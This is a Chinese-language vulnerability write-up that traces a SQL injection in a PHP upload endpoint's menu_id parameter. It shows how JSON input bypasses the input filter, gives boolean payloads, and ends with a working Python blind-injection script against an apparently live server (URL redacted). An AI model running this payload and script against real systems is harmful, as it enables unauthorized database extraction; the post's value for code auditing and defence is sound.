在上篇文章记一次由于整型参数错误导致的任意文件上传的漏洞成因的分析过程中,发现
menu_id
貌似是存在注入的。
public function upload()
{
$menu_id = $this->post('menu_id');
if ($id) {
$where = "id = {$id}";
if ($menu_id) {
$where .= " and menu_id = '{$menu_id}'";
}
$config = publics::getOne(ApplyExtraField::TABLE, 'type, options', $where);
if (empty($config)) {
return $this->returnJson(400, $this->language['parameter_error']);
}
if (!in_array($config['type'], [8, 11, 12])) {
return $this->returnJson(400, $this->language['error_field']);
}
}
可以看到menu_id
被拼接到了SQL语句中,跟踪一下找到完整的SQL的执行语句
public static function getOne($tablename, $select = '*', $where, $order = '') {
$sql = "select $select from $tablename where $where";
if ($order) {
$sql .= ' Order By ' . $order;
}
$ecshopdb = DI::getDefault()->get('db');
$stmt = $ecshopdb->prepare($sql);
$stmt->execute([]);
$oneResult = $stmt->fetch(\PDO::FETCH_ASSOC);
return $oneResult;
}
得到完整的SQL语句
select type,options from $tablename where id={$id} and menu_id='{$menu_id}' Order By {$order};
menu_id
可控,但是这里有个过滤,跟进$this->post()
public function post($name, $value = '')
{
$str = $this->request->getPost($name);
$str = is_string($str) ? trim($str) : $str;
//$str = (new aes())->aesDe($str);
$str = Helper::new_addslashes($str);
if (empty($str) && !empty($value)) {
$str = $value;
}
return $str;
}
public static function new_addslashes($string)
{
if (!is_array($string)) {
$str = $string;
if (!self::isJson($string)) {
$str = addslashes($string);
$str = self::safe_replace($str);
}
$str = self::remove_xss($str);
return $str;
}
foreach ($string as $key => $val) {
$string[$key] = self::new_addslashes($val);
}
return $string;
}
关键点在if (!self::isJson($string))
,如果这里为True
,也就是参数为JSON
数据,则不会经过safe_replace()
过滤,如果过滤到参数这里就没法玩了。
public static function safe_replace($string)
{
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace('\\', '', $string);
return $string;
}
那么就可以给menu_id
传json
数据闭合语句注入即可,例如:{"a":"a'or if(1=1,1,0)-- "}
select type,options from $tablename where id={$id} and menu_id='{"a":"a'or if(1=1,1,0)-- "}' Order By {$order};
并且由于这里有一个查询情况判断
$config = publics::getOne(ApplyExtraField::TABLE, 'type, options', $where);
if (empty($config)) {
return $this->returnJson(400, $this->language['parameter_error']);
}
if (!in_array($config['type'], [8, 11, 12])) {
return $this->returnJson(400, $this->language['error_field']);
}
可以看到,当SQL语句查询失败返回为空时,应该返回parameter_error
,当查询成功时,但是因为没有正确格式的menu_id
没有查询出type, options
,返回的是error_field
,至于返回的报错也可以找到对应关系表。如下:
'parameter_error' => '参数错误',
'error_field' => '字段参数错误',
那么接下来就是布尔盲注的过程了,验证下
当menu_id = {"a":"a'or if(1=1,1,0)-- "}
时,返回的是字段参数错误
当menu_id = {"a":"a'or if(1=0,1,0)-- "}
时,返回的是参数错误
直接写个简单脚本跑一下即可
import requests
myurl = "https://xxx.xxx.xxx.xxx:xxx/xxx/xxx/xxx/xxx"
myheaders = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
"Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "appid": "950DAB0982FBF45C",
"Content-Type": "multipart/form-data; boundary=---------------------------38542006312875159874932859608",
"Origin": "https://xxx.xxx.xxx.xxx:xxx", "Connection": "close", "Referer": "https://xxx.xxx.xxx.xxx:xxx/xxx/xxx/",
"Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin"}
content = ''
for pos in range(1, 100):
min_num = 32
max_num = 126
mid_num = (min_num + max_num) // 2
while min_num < max_num:
mydata = "-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"menu_id\"\r\n\r\n{{\"a\":\"a'or if((ord(mid(database(),{},1)))>{},1,0)-- \"}}\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n11136\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\ndde84e3dd838eebf9791ccd614842ac6\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"org_id\"\r\n\r\nc0f8456c51d4aa175abc8e77db6b069a\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"lang\"\r\n\r\nsc\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"time\"\r\n\r\n1691670817\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"hash\"\r\n\r\ne2c8963aaa7e70f73639caf5d7b2b60f\r\n-----------------------------38542006312875159874932859608\r\nContent-Disposition: form-data; name=\"file\"; filename=\"pic1.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n\r\n-----------------------------38542006312875159874932859608--\r\n".format(pos, mid_num)
resp = requests.post(url=myurl, headers=myheaders, data=mydata)
if '字段参数错误' in resp.text:
min_num = mid_num + 1
else:
max_num = mid_num
mid_num = (min_num + max_num) // 2
content += chr(min_num)
print(content)
能跑出数据库名就行了